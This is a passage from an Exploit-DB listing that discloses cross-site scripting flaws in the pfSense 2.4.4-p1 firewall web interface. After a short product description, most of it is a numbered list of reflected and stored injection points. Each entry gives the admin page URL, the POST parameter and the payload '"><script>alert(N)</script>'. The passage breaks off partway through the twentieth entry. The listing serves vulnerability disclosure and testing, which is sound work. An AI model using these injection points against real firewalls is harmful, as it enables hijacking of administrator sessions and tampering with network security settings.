Exploit-DB #46316
Description: pfSense 2.4.4-p1 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-02-04
Author: Ozer Goker

Exploit:
##################################################################################################################################
# Exploit Title: pfSense 2.4.4-p1 | Cross-Site Scripting
# Date: 28.01.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.pfsense.org
# Software Link: https://frafiles.pfsense.org/mirror/downloads/pfSense-CE-2.4.4-RELEASE-p1-amd64.iso.gz
# Version: 2.4.4-p1
##################################################################################################################################

Introduction
pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.


#################################################################################


XSS details: Reflected & Stored

#################################################################################

XSS1 | Reflected

URL
http://192.168.2.200/system_advanced_admin.php

METHOD
Post

PARAMETER
webguiproto

PAYLOAD
"><script>alert(1)</script>

#################################################################################

XSS2 | Reflected

URL
http://192.168.2.200/interfaces_assign.php

METHOD
Post

PARAMETER
wan

PAYLOAD
"><script>alert(2)</script>

#################################################################################

XSS3 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(3)</script>

#################################################################################

XSS4 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(4)</script>

#################################################################################

XSS5 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(5)</script>

#################################################################################

XSS6 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(6)</script>

#################################################################################

XSS7 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(7)</script>

#################################################################################

XSS8 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(8)</script>

#################################################################################

XSS9 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(9)</script>

#################################################################################

XSS10 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(10)</script>

#################################################################################

XSS11 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(11)</script>

#################################################################################

XSS12 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(12)</script>

#################################################################################

XSS13 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(13)</script>

#################################################################################

XSS14 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(14)</script>

#################################################################################

XSS15 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(15)</script>

#################################################################################

XSS16 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(16)</script>

#################################################################################

XSS17 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(17)</script>

#################################################################################

XSS18 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(18)</script>

#################################################################################

XSS19 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(19)</script>

#################################################################################

XSS20 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if